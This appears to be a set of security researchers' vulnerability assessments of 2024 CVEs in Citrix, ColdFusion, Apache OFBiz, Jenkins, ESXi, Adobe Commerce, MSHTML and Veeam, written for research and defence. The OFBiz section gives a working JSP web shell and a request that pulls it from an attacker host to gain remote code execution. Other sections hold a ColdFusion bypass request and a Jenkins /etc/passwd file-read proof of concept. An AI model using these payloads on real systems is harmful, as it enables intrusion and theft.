CVE-2024-6235 is a critical information disclosure vulnerability in Citrix NetScaler Console. The vulnerability, which was patched in July of 2024, affects Citrix NetScaler Console 14.1 (also known as Citrix NetScaler ADM 14.1) before 14.1-25.53. A brief investigation of the vulnerability indicated that exploitability is lower than one might expect for a critical vulnerability in a Citrix product. It appears that exploitation requires an adjacent network position on the LAN, since the management web service for NetScaler Console/ADM does not appear to be affected. This indicates that CVE-2024-6235 is most likely to be exploited for lateral movement, likely via an agent communication service port or outbound LAN-focused discovery. Furthermore, no public PoC is available, as of December 5, 2024, and the vulnerability does not appear to be trivial to exploit; the vulnerability has not been reported as EITW. For these reasons, attacker value and exploitability have been deemed ‘Moderate’.
Technical Analysis
On November 12, 2024, Citrix published an advisory for an unsafe deserialization bug affecting the Citrix Session Recording software from the Citrix Virtual Apps and Desktops product. Citrix Session Recording is software used to record and catalog “session” interactions with Citrix applications and desktop services. On the same day the advisory and patch were published, the researchers that disclosed the vulnerability published a blog post and proof-of-concept exploit for the vulnerability. Their exploit targets a Microsoft Message Queuing (“MSMQ”) deserialization sink, which is exposed via HTTP by the vulnerable Citrix software.
Although the exploit is demonstrated via a web request without authentication in the blog post, Citrix has indicated (via the advisory) that customers are expected to deploy Session Recording behind Citrix NetScaler. As such, they’ve stated that they consider this to be an authenticated bug. The organization that reported the issue stated that this is an unauthenticated vulnerability in the context of Citrix Virtual Apps and Desktops . Both statements appear to be accurate; real-world deployments that are properly implemented (according to Citrix) will enforce a precursory layer of NetScaler authentication, but a standalone Virtual Apps and Desktops deployment can be configured in a way that exposes the vulnerability without authentication.
A key takeaway for defenders is that this vulnerability does not appear to be exploitable without authentication if Citrix NetScaler authentication is enforced to be able to access Virtual Apps and Desktops. Furthermore, Citrix Session Recording is a non-default service that requires extra installation steps. With those details in mind, it’s likely that CVE-2024-8069 is at lower risk of exploitation than one might expect for a critical bug targeting a Citrix product. However, organizations would be wise to patch this one, since the vulnerable service can potentially be configured in a way that doesn’t require authentication to exploit.
Technical Analysis
CVE-2024-41874 is described as a critical unauthenticated remote code execution vulnerability affecting Adobe ColdFusion. The affected versions are ColdFusion 2021 before Update 16 and ColdFusion 2023 before Update 10. In this assessment, we’ll take a look at the patch. This write-up does not contain an RCE PoC, but I believe it does outline how to trigger the bug and demonstrate some of the implications of doing so. As far as I’m aware, there’s no public write-up or exploit yet published by the original researchers, @0xsapra, @MrHritik, and @a0xnirudh. Let’s dive in!
In chf20210016.jar!/coldfusion/filter/FilterUtils.java
, we find a single small change between CF2021 Update 15 and CF2021 Update 16—the string “ARGUMENTCOLLECTION” has been added as a disabled scope for collection.
29c29 < /* 29*/ disabledScopesForArgumentCollection = new ArrayList<String>(Arrays.asList("FILE", "CLIENT", "COOKIE", "CGI", "SERVER", "APPLICATION", "SESSION", "REQUEST", "CFHTTP", "CFFILE", "LOCAL", "THIS", "THISTAG", "THREAD", "VARIABLES")); --- > /* 29*/ disabledScopesForArgumentCollection = new ArrayList<String>(Arrays.asList("ARGUMENTCOLLECTION", "FILE", "CLIENT", "COOKIE", "CGI", "SERVER", "APPLICATION", "SESSION", "REQUEST", "CFHTTP", "CFFILE", "LOCAL", "THIS", "THISTAG", "THREAD", "VARIABLES"));
This disabledScopesForArgumentCollection
security list originates from the patch for CVE-2023-44350, which was a mass assignment vulnerability. The scopes list relates to ColdFusion Components (“CFCs”), which are methods and properties defined in .cfc
files for use by other code. More specifically, CFCs that are defined as “remote” are published as ColdFusion web services, which permits other code on the client and server to invoke and access server-side methods and properties. The previous mass assignment vulnerability, CVE-2023-44350, permitted passing an argumentCollection
containing key-value pairs that clobbered existing sensitive global scopes, such as LOCAL
or APPLICATION
. These sensitive global scopes are heavily used by ColdFusion to store and retrieve sensitive data, such as file paths and global variable information, during a request’s lifecycle. Knowing this context, the ability to overwrite existing values within primary global scopes is a strong capability that can seemingly facilitate remote code execution.
The ARGUMENTCOLLECTION
scope is also a special global scope, and it’s notably absent from the collection list before the patch. This scope is used when remote CFC method calls are invoked, when CFC methods are leveraged in the form of a web service. In this context, the ARGUMENTCOLLECTION
value is sourced from a POST parameter called argumentCollection
. This parameter has been the target of numerous other exploits, such as CVE-2023-44350, CVE-2023-29300, CVE-2023-38203, and CVE-2023-38204. In this case, nested argumentCollection
JSON arrays in the argumentCollection
POST parameter are recursively deserialized and concatenated at certain points in the request’s lifecycle. This permits an attacker to send a nested payload containing multiple argumentCollection
s that bypass the initial disabledScopesForArgumentCollection
checks. Later on, after the checks have been performed, the nested data will be flattened and the attacker data will clobber global scope structs.
We’ll use a custom CFC scope dump method to dump the contents of some sensitive global scopes in the context of our invocation. That test file is below.
$ cat cfusion/wwwroot/CFIDE/custom/scope.cfc <cfcomponent output="true"> <cffunction name="dump" access="remote" returntype="void"> <cfoutput> <h2>ARGUMENTS SCOPE</h2> <cftry> <cfdump var="#ARGUMENTS#"> <cfcatch> <p>ARGUMENTS IS NOT CURRENTLY AVAILABLE</p></cfcatch></cftry> <h2>CFFILE SCOPE</h2> <cftry> <cfdump var="#CFFILE#"> <cfcatch> <p>CFFILE IS NOT CURRENTLY AVAILABLE</p></cfcatch></cftry> <h2>CFFILE.Test SCOPE</h2> <cftry> <cfdump var="#CFFILE.Test#"> <cfcatch> <p>CFFILE.Test IS NOT CURRENTLY AVAILABLE</p></cfcatch></cftry> </cfoutput> </cffunction> </cfcomponent>
We’ll set a breakpoint prior to the argumentCollection
security checks and deserialization, in cfusion.jar!/coldfusion/filter/ComponentFilter.class
, and we’ll perform a request to an unauthenticated remote CFC. The PoC request we’ll send contains a nested argumentCollection
JSON object, which we’ll observe being transformed and used by the application. That unauthenticated remote CFC request is below.
POST /CFIDE/custom/scope.cfc HTTP/1.1 Host: coldfusion:8500 User-Agent: curl/8.6.0 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Length: 468 Connection: keep-alive ------WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Disposition: form-data; name="method" dump ------WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Disposition: form-data; name="returnFormat" json ------WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Disposition: form-data; name="argumentCollection" {"argumentCollection":{"argumentCollection":{"CFFILE":{"test":"value"}}}} ------WebKitFormBoundary9HrYoPaJ81kiKuUc Content-Disposition: form-data; name="cfcName"
After hitting our initial breakpoint, we observe that the GetArgumentCollection
function in the relevant FilterUtils
file is called with the request context object as a parameter.
Map args = FilterUtils.GetArgumentCollection(context);
Within FilterUtils
, we find the previously observed block list and the called function. At [0]
, the argumentCollection
data is extracted as either a URL parameter or a POST body parameter, depending on which is present, and cast to a string. With that string, a new Struct
called argumentCollection
is created ([1]
). Next, a check is performed to determine if a “{” character begins the string ([2]
). If so, the data is deserialized as JSON. If not, the data is deserialized as a WDDX XML packet.
Note that the patch did not introduce any new classes that are not allowed to be deserialized, just a new scope that is not allowed to be collected. At [3]
, if the JSON or XML contains a top-level key on the block list, the server will throw an InvalidArgumentCollectionException
error and terminate the request. Notably, in the pre-patched state, argumentCollection
can contain a top-level key called ARGUMENTCOLLECTION
; after the patch, argumentCollection
cannot contain a top-level key called ARGUMENTCOLLECTION
.
public static final List<String> disabledScopesForArgumentCollection = new ArrayList(Arrays.asList("FILE", "CLIENT", "COOKIE", "CGI", "SERVER", "APPLICATION", "SESSION", "REQUEST", "CFHTTP", "CFFILE", "LOCAL", "THIS", "THISTAG", "THREAD", "VARIABLES")); // [..SNIP..] public static Map GetArgumentCollection(FusionContext context) throws Throwable { ServletRequest request = context.request; String attr = (String)context.pageContext.findAttribute("url.argumentCollection"); // [0] if (attr == null) { attr = (String)context.pageContext.findAttribute("form.argumentCollection"); } Struct argumentCollection; if (attr == null) { argumentCollection = new Struct(); // [1] } else { attr = attr.trim(); if (attr.charAt(0) == '{') { // [2] argumentCollection = (Struct)JSONUtils.deserializeJSON(attr); } else { argumentCollection = (Struct)WDDXDeserialize(attr); } } String cfcName; if (!Boolean.getBoolean("coldfusion.argumentcollection.allowscopes")) { Enumeration keys = argumentCollection.keys(); while(keys.hasMoreElements()) { cfcName = keys.nextElement().toString(); if (disabledScopesForArgumentCollection.contains(cfcName.toUpperCase())) { throw new InvalidArgumentCollectionException(cfcName, disabledScopesForArgumentCollection.toString(), "coldfusion.argumentcollection.allowscopes"); // [3] } } } // [..SNIP..] return argumentCollection; }
Next, cfusion.jar!/coldfusion/filter/ComponentFilter.class
calls into the invoke
function defined in cfusion.jar!/coldfusion/runtime/TemplateProxy.class
([4]
). The method
string argument is the requested CFC remote method, and the args
Map is the existing argumentCollection
.
Object invoke; try { invoke = tp.invoke(method, args, pageContext); // [4] } finally { context.setCfclientCall(oldClientCall); }
This function prepares to invoke the CFC method. We’ll follow the next two invoke
calls ([5]
, [6]
) to see what happens to our arguments.
public Object invoke(String methodName, Map args, PageContext pageContext) throws Throwable { FusionContext ctx = FusionContext.getCurrent(); this.initIfDeserialized(pageContext); UDFMethod method = this.resolveMethod(methodName, false); if (method instanceof ImplicitUDFMethod) { return method.invoke(this, methodName, this.page, args); } else if (method instanceof Closure) { return method.invoke(this, methodName, this.page, args); } else { CfJspPage invokePage = this.setupScopesForInvoke(pageContext, ctx); return this.invoke(method, methodName, (Object[])null, args, invokePage, ctx); // [5] } }
private Object invoke(UDFMethod method, String methodName, Object[] args, Map mapArgs, CfJspPage invokePage, FusionContext ctx) throws Throwable { if (args != null && mapArgs != null) { throw new IllegalArgumentException("either args or mapArgs needs to be null"); } else { DebuggingService debuggingService = ServiceFactory.getDebuggingService(); // [..SNIP..] if (missingMethodName == null) { if (args != null) { invokedObject = this.castReturnType(method.invoke(this, methodName, invokePage, args), method, invokePage.pageContext, ctx); } else { invokedObject = this.castReturnType(method.invoke(this, methodName, invokePage, mapArgs), method, invokePage.pageContext, ctx); // [6] } }
Here, we see our arguments, now called namedArgs
, being used. After some processing and comparisons take place, a new ArgumentCollection
is instantiated at [7]
, with our namedArgs
passed in as the second parameter.
public Object invoke(Object instance, String calledName, Object parent, Map namedArgs) throws Throwable { Object obj = null; RequestMonitorEventProcessor.onFunctionStart(calledName, parent, namedArgs); try { ArgumentCollection args = null; // [..SNIP..] if (args == null) { args = new ArgumentCollection(this.paramNames, namedArgs); // [7] }
We enter chf20210015.jar!/coldfusion/runtime/ArgumentCollection.class
. At [8]
and [9]
, the code iterates through and extracts the first nested argumentCollection
from inside our existing argumentCollection
Map. At [10]
, handleParametrizedArgs
is called with this first nested key-value pair as parameters.
public ArgumentCollection(Object[] keys, Map namedArgs) { Object key; Object key1; if (keys != null) { // [..SNIP..] } Iterator i = namedArgs.entrySet().iterator(); // [8] while(true) { do { if (!i.hasNext()) { Object argsObj = namedArgs.get("argumentCollection"); // [9] if (argsObj != null && argsObj instanceof Map) { Map args = (Map)argsObj; Iterator argIt = args.keySet().iterator(); while(argIt.hasNext()) { key1 = argIt.next(); Object value1 = args.get(key1); key1 = this.normalizeKey(key1); this.handleParametrizedArgs(key1, value1); // [10] } } return; } // [..SNIP..]
In handleParametrizedArgs
, if the instantiated ArgumentCollection
class (“this”) does not already contain the key (“argumentCollection”), the nested key-value pair is put
in the Map
([11]
). One layer of nesting has been flattened.
private void handleParametrizedArgs(Object key, Object value) { if (key instanceof Integer) { int keyIndex = (Integer)key - 1; if (keyIndex < this.entryOrderValues.size() && this.get(this.entryOrderValues.get(keyIndex)) == null) { key = this.entryOrderValues.get(keyIndex); } } if (this.get(key) == null) { // [11] this.put(key, value); } }
We return to the previous invoke
function in UDFMethod.class
. Now, UDFMethod.runFilterChain
is called with the transformed args
variable as a parameter.
obj = this.runFilterChain(instance, parent, args, calledName);
At [12]
, context.args
, which is null
, is stashed in the oldArgs
ArgumentCollection
. Next, context.args
is set to our partially flattened args
variable ([13]
).
private Object runFilterChain(Object instance, Object parent, ArgumentCollection args, String calledName, FusionContext fusionContext) throws Throwable { FusionContext context = FusionContext.getCurrent(); if (context == null) { context = fusionContext; } Object oldInstance = context.instance; CFPage oldParent = context.parent; ArgumentCollection oldArgs = context.args; Object oldReturnValue = context.returnValue; String oldmethodname = context.methodCalledName; context.instance = instance; context.parent = (CFPage)parent; context.args = args; // [13]
A couple of layers of invocations take place, ultimately landing in cfusion.jar!/coldfusion/runtime/UDFMethod.class
. Our second nested ARGUMENTCOLLECTION
layer is flattened at [14]
and [15]
, when the key value is extracted and putAll
is called on args
within our FusionContext
. Finally, the requested CFC remote method is invoked with our context object, which includes our ArgumentCollection
object wherein we control arbitrary global scope structs.
static class ArgumentCollectionFilter extends FusionFilter { // [..SNIP..] public void invoke(FusionContext tc) throws Throwable { Map argumentCollection = (Map)tc.args.get(Key.ARGUMENTCOLLECTION); // [14] if (argumentCollection != null) { tc.args.remove(Key.ARGUMENTCOLLECTION); tc.args.putAll(argumentCollection); // [15] } this.next.invoke(tc); } }
In the browser, we can view our CFC page dump output to verify that the global CFFILE
scope has been clobbered, despite CFFILE
being on the disabledScopesForArgumentCollection
security list filter.
This primitive is apparently enough to establish unauthenticated remote code execution, as indicated by the 9.1 CVSS score of previous mass assignment vulnerabilities affecting global scope, such as CVE-2023-44350. However, I was not able to identify a default configuration technique to weaponize global scope control for RCE via deserialization (or any other means), and I wasn’t able to find anyone else that had published one. If anyone is familiar with a technique to do so, please let me know or create an assessment with the details!
Technical Analysis
Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. CVE-2024-45195 is a third patch bypass for a remote code execution vulnerability; the same vulnerability root cause is also tracked under the following identifiers: CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856. Two of these CVEs are listed in CISA’s KEV catalog.
When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented. This controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map. As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.
Notably, this vulnerability report was a bug collision report, and the following security researchers discovered and reported CVE-2024-45195:
- shin24 from National Cyber Security Vietnam (finder)
- LuanPV from National Cyber Security Vietnam (finder)
- Hasib Vhora, Senior Threat Researcher, SonicWall (finder)
- Xenc from SGLAB of Legendsec at Qi’anxin Group (finder)
- Ryan Emmons, Lead Security Researcher at Rapid7 (finder)
Remote code execution payloads for CVE-2024-45195, targeting a Linux host, are below. This attack vector will clobber an existing JSP file and write a web shell within the web root.
$ cat rceschema.xml <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8"> <record name="rceentry" limit="many"> <field name="jsp" type="String" length="605" position="0"></field> </record> </data-file> </data-files>
$ cat rcereport.csv <%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
After starting an accessible web server in the directory with the above files, perform the following request to the target for RCE:
POST /webtools/control/forgotPassword/viewdatafile HTTP/2 Host: target:8443 User-Agent: curl/7.81.0 Accept: */* Content-Length: 241 Content-Type: application/x-www-form-urlencoded DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
For a full technical analysis of CVE-2024-45195 and the previous OFBiz CVEs, refer to the Rapid7 analysis blog post.
Technical Analysis
CVE-2024-43044 is an arbitrary file read vulnerability in Jenkins Automation Server, and it’s exploitable via Jenkins Remoting. This Remoting component operates as the client running on worker machines, and it’s used by worker agents to connect to the central Jenkins controller and execute assigned distributed workload tasks. Based on the advisory details, a worker agent client can abuse a feature intended to read classes from the Jenkins server to read arbitrary files from the server instead.
The initial advisory for the vulnerability classifies the severity as “Critical” and indicates that no authentication is required for exploitation. However, all other materials published, including the CVSS strings associated with the CVE, state that low privileges are required for exploitation. These materials also show a different severity score of “High”. Based on our analysis, unless the default agent authentication has been manually disabled, the typical vulnerable configuration will require low privileges to exploit.
Vulnerable Instances
Worker agents must exist and their credentials must be compromised for exploitation to occur. Though an out-of-the-box Jenkins instance on an affected version is not vulnerable, setting up worker agents is a very common configuration in enterprise environments. Per the advisory, most versions of Jenkins Remoting 3256.v88a_f6e922152 and earlier include code that can be used for local file disclosure. The advisory states that the vulnerable code is included in Jenkins 2.470 and earlier, as well as Jenkins LTS 2.452.3 and earlier.
A vulnerable v2.470 copy of Jenkins is available here.
Our affected Jenkins instance was configured to be exploitable by performing the following steps:
- Login as an administrator.
- Navigate to
Manage Jenkins
>Nodes
and create a new Agent node. Copy the displayed connection secrets for later reference.
- Navigate to
Manage Jenkins
>Security
and enable a TCP port for inbound agents (either “Random” or “Fixed”).
Exploitation
The advisory states that “calls to Channel#preloadJar result in the retrieval of files from the controller by the agent using ClassLoaderProxy#fetchJar.” To explore this further, we’ll look at that area of the code base for the Remoting library.
Within RemoteClassLoader.java
, ClassLoaderProxy
contains fetchJar
. It takes one parameter of type URL
. Interestingly, this function has an existing FindBugs SSRF warning exception, indicating it had previously been flagged by security static analysis tooling.
@Override @SuppressFBWarnings( value = "URLCONNECTION_SSRF_FD", justification = "This is only used for managing the jar cache as files.") public byte[] fetchJar(URL url) throws IOException { return Util.readFully(url.openStream()); }
In Util.java
, the readFully
function used by fetchJar
reads an InputStream
and returns the resulting ByteArrayOutputStream
.
static byte[] readFully(InputStream in) throws IOException { // TODO perhaps replace by in.readAllBytes() after checking close behavior ByteArrayOutputStream baos = new ByteArrayOutputStream(); copy(in, baos); return baos.toByteArray(); }
We know that a URL
type is being used by fetchJar
, and the URL
type typically supports the file
protocol scheme. Since the intended impact is local file disclosure, we’ll likely need to supply a URL
string like “file:///etc/passwd”.
To better understand the intended calling context for fetchJar
, we can reference prefetch
in RemoteClassLoader.java
. At [0]
, we see proxy
from RemoteClassLoader
used to call fetchJar
with a file path as the parameter.
/*package*/ boolean prefetch(URL jar) throws IOException { synchronized (prefetchedJars) { if (prefetchedJars.contains(jar)) { return false; } String p = jar.getPath().replace('\\', '/'); p = Util.getBaseName(p); File localJar = Util.makeResource(p, proxy.fetchJar(jar)); // [0] addURL(localJar.toURI().toURL()); prefetchedJars.add(jar); return true; } }
As such, we’ll need to mimic this by inserting a malicious call to fetchJar
after an instance of RemoteClassLoader
is created. We’ll also have to do this where an existing proxy
is available to call fetchJar
with. The code that initializes a new RemoteClassLoader
satisfies both criteria.
private RemoteClassLoader(String name, @CheckForNull ClassLoader parent, @NonNull IClassLoader proxy) { super(name, new URL[0], parent); final Channel channel = RemoteInvocationHandler.unwrap(proxy); this.channel = channel == null ? null : channel.ref(); this.underlyingProxy = proxy; if (channel == null || !channel.remoteCapability.supportsPrefetch() || channel.getJarCache() == null) { proxy = new DumbClassLoaderBridge(proxy); } this.proxy = proxy; }
We’ll also need to ensure the authentication flow is complete, since the file will be read from the controller over the authenticated channel. Setting a breakpoint in the RemoteClassLoader
code and connecting an agent results in the breakpoint hitting after the authentication flow is complete. Adding a call to fetchJar
there should trigger the vulnerability.
We can test this by appending the following snippet to the above code.
try { URL targ = new URL("file:///etc/passwd"); byte[] outb = this.proxy.fetchJar(targ); String outs = new String(outb, StandardCharsets.UTF_8); System.out.println(outs); } catch (MalformedURLException e) { System.out.println("Malformed URL except"); } catch (IOException e) { System.out.println("IO except - file may not exist"); }
Next, we can quickly compile an agent.jar
artifact using mvn clean install -Dmaven.test.skip=true -Denforcer.skip=true
. With that in hand, we’ll connect using the Agent connection secret and attempt to leak the /etc/passwd
file from the Jenkins controller host.
$ java -jar target/remoting-999999-SNAPSHOT.jar -url http://192.168.55.129:8080/ -secret 53fa0cdd4d072027a90e98a15b25a95e836444a466c6ad4a38c1fb0c7914bf68 -name agent0 -workDir "/home/jenkins" Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir INFO: Using /home/jenkins/remoting as a remoting work directory Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager setupLogging INFO: Both error and output logs will be printed to /home/jenkins/remoting Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher createEngine INFO: Setting up agent: agent0 Aug 21, 2024 11:23:44 AM hudson.remoting.Engine startEngine INFO: Using Remoting version: 999999-SNAPSHOT (private-08/21/2024 00:23 GMT-test-r7) Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir INFO: Using /home/jenkins/remoting as a remoting work directory Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Locating server among [http://192.168.55.129:8080/] Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping] Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Agent discovery successful Agent address: 192.168.55.129 Agent port: 41863 Identity: c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57 Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Handshaking Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Connecting to 192.168.55.129:41863 Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Server reports protocol JNLP4-connect-proxy not supported, skipping Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Trying protocol: JNLP4-connect Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run INFO: Waiting for ProtocolStack to start. Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status INFO: Remote identity confirmed: c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57 Aug 21, 2024 11:23:45 AM hudson.remoting.Launcher$CuiListener status INFO: Connected root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin [..SNIP..]
The arbitrary file read succeeds and /etc/passwd
is returned to the attacker.
Summary
CVE-2024-43044 is a local file disclosure bug, and the vulnerability seems to be authenticated in most scenarios. Based on this analysis, in order to exploit a typical vulnerable server, an attacker would need to acquire a Jenkins agent secret. This secret could be acquired by compromising a Jenkins agent system, a developer computer, or a secrets manager system. With that secret, and with network access to the Jenkins controller server, the attacker can craft an agent client JAR file that will authenticate and read arbitrary files from the server.
With the above in mind, CVE-2024-43044 seems most likely to be exploited for lateral movement, rather than facilitating initial access. However, due to the high-severity context, anyone running an affected version of Jenkins should urgently update their controller server. If updating instances is not immediately feasible, the Jenkins team has provided a lighter workaround patch to fix the vulnerability.
Technical Analysis
CVE-2024-37085, a vulnerability affecting domain-joined VMWare ESXi, was first published on June 25, 2024. It was reported to Broadcom by Microsoft, who published their own blog post on July 29, 2024 that stated it was being exploited in the wild to deploy ransomware. The premise of the vulnerability is that domain-joined ESXi will automatically check for a certain Active Directory group. If the group name exists, all members of that group will be granted admin privileges over the ESXi server. An attacker with the ability to create AD groups or change the name of an existing AD group can set up the group, resulting in all AD group members gaining administrator privileges over the ESXi server. Interestingly, a Broadcom KB entry documents this behavior as a feature.
Differing Messages
The original Broadcom advisory states that exploitation requires “re-creating the configured AD group (‘ESXi Admins’ by default) after it was deleted from AD.” This would indicate a non-standard configuration, since the administrators group would have to be intentionally deleted for ESXi to be vulnerable. However, Microsoft’s blog post on the vulnerability from July indicates the exact opposite.
Microsoft’s post from July 29. 2024 states that “VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named ‘ESX Admins’ to have full administrative access by default. This group is not a built-in group in Active Directory and does not exist by default.” Based on Microsoft’s statement, the vulnerability affects all domain-joined ESXi servers in the default configuration, since the “ESX Admins” group is not created by default.
Furthermore, as shown above, each vendor has stated a different group name targeted for exploitation. Broadcom documentation indicates that ESXi will grant admin access to any users in an Active Directory group called “ESXi Admins” (1, 2), while Microsoft makes no mention of “ESXi Admins” and instead advises to be on the lookout for “ESX Admins”.
Exploitation
To escalate to ESXi administrator privileges, an attacker must be able to create or rename an AD group. Depending on whether you’re referencing Broadcom’s information or Microsoft’s, the attacker will set an AD group name to either “ESXi Admins” or “ESX Admins”. All users in that group will then be elevated to administrator. Microsoft also states that existing administrators will remain elevated, even if an ESXi administrator modifies the name of the management group. According to Microsoft, this persistence vector is mitigated by initiating an ESXi Hypervisor Privileges refresh.
Summary
There’s a lot of mixed messaging here, so hopefully more clarity will arrive soon. As it stands, it’s likely best to assume that AD-joined ESXi is vulnerable out of the box and does not create the group by default. Defenders should also consider both the “ESX Admins” and “ESXi Admins” groups to potentially be valid avenues of exploitation until more information is shared by the vendor. In addition to remediating the vulnerability with the official Broadcom patches, defenders should check whether either of these two groups have been created and initiate an ESXi Privileges Refresh to ensure privileges are up to date.
Technical Analysis
Adobe Commerce, which is based on the Magento PHP suite, is a popular framework for commerce websites. CVE-2024-34102 is a critical unauthenticated XML injection vulnerability, initially reported by Sergey Temnikov, that targets Commerce. Unsafe deserialization of data is performed with tainted JSON string data, which results in an attacker-controlled SimpleXMLElement
class that will resolve external entities.
An attacker with unauthenticated access to Adobe Commerce can send a crafted JSON string containing an XML object that embeds DTDs to read local files, including the env.php
that contains the JWT secret. With this information, an attacker can forge their own privileged session token and authenticate to Adobe Commerce as an administrator. Sergey also reported that the vulnerability can be chained with the recent iconv bug in the glibc for RCE via PHP filters.
A Metasploit gather module for CVE-2024-34102 was contributed to the framework by @heyder. Anyone running Adobe Commerce or Magento that has not updated should do so urgently, since the vulnerability can be exploited without authentication for critical impact. Adobe has provided an official fix for the vulnerability that can be applied over previous emergency hotfixes.
Technical Analysis
Trend Micro reported this vulnerability to Microsoft after observing Void Banshee APT exploitation in the wild; the zero-day attack hinged on the premise that MHTML links would automatically open in the old Internet Explorer engine. Within the old engine context, HTA files will prompt to open by default, facilitating easier code execution. The threat actors were observed appending many spaces to the file name to misrepresent the secondary HTA file as a PDF in the IE pop-up box. Additionally, Check Point researcher Haifei Li is credited for a report that resulted in a “Defense-in-depth” patch for this chain, which is probably related to the HTA file name misrepresentation trick.
The process of exploitation would typically look like this:
- An attacker site is visited or a phishing message is sent to the victim.
- The victim downloads a malicious “.url” file that masquerades as a legitimate document.
- The victim clicks the “.url” payload, opening the embedded “mhtml:” link and launching Internet Explorer.
- The IE engine prompts the user to open the second-stage HTA file.
- The victim clicks “open” on the pseudo-PDF prompt.
- The victim clicks “Allow” on the IE security prompt for the “HTML Application host” execution.
In summary, the intent of this attack chain is to misrepresent and remove some security hurdles for malware execution on Windows. Successful exploitation does still require quite a bit of clicking through prompts by the user. However, this is likely enough to significantly increase execution numbers for the affiliated malware campaign, which was reported to be deploying information stealers.
Technical Analysis
This deserialization vulnerability piqued my interest after I saw it had received a “patch reissue” a couple of weeks after it was initially patched. I was curious whether the secondary patch was necessary or more of a prophylactic measure. Due to time and software limitations, this assessment doesn’t include PoC and is mostly based on static analysis; the primary goal of this is to provide more information about the risk of the vulnerability, as well as to document some information I’ve learned about the suite for researchers.
Software Overview
CVE-2024-29212 targets Veeam Service Provider Console (“VSPC”), which is a rather niche product. From what I’ve learned, it’s exclusively meant for managed service providers that resell Veeam “backups as a service”. Despite not managing the Veeam infrastructure themselves, clients of these service providers still prefer having their own dashboard for backups. In that scenario, the service provider would set up VSPC and its bundled Web UI as an interface for those customers to manage backups and transmit their data to the centralized server.
VSPC itself, which is predominantly written in C# .NET, is fairly complex, with many different services and communication channels. The ecosystem is primarily hosted by the service provider, and agent software continuously runs on the customer’s managed systems. As shown in the diagram linked above, the client agent connects to the Veeam Cloud Gateway intermediary service via TCP port 6180. In turn, the Gateway service communicates this data to the Veeam Service Provider Console Server (“VSPC Server”) over port 9999. VSPC Server also receives TCP data on port 1989 from the dedicated Web UI service back end, and the front-facing Web UI service listens on port 1280.
Exploitation Potential
The public attack surface for this specialized Veeam product appears to be minimal, based on Shodan queries; less than 100 VSPC Web UI servers were observed to be public-facing at the time of research. The vulnerability itself is also noted to be authenticated, which further lessens the likelihood of exploitation. Analysis appears to indicate that an attacker would need to acquire agent credentials from a managed system’s client to target the service provider’s VSPC system with a serialized payload. As a result, and considering the fact that this vulnerability was patched a few months back, CVE-2024-29212 appears to be at lower risk of widespread exploitation.
Patch Analysis
The most obvious security-related changes in the first patch are in a SerializationBinder
class, BinarySerializerVulnerabilityFilter
, within the BindToType
method. This method is called during deserialization, and it sources the resulting object’s type from the data passed to it. The unpatched code is shown below. It includes a security check that throws an exception if the target assembly is a forbidden type AND the assembly name does not contain the string “Veeam”.
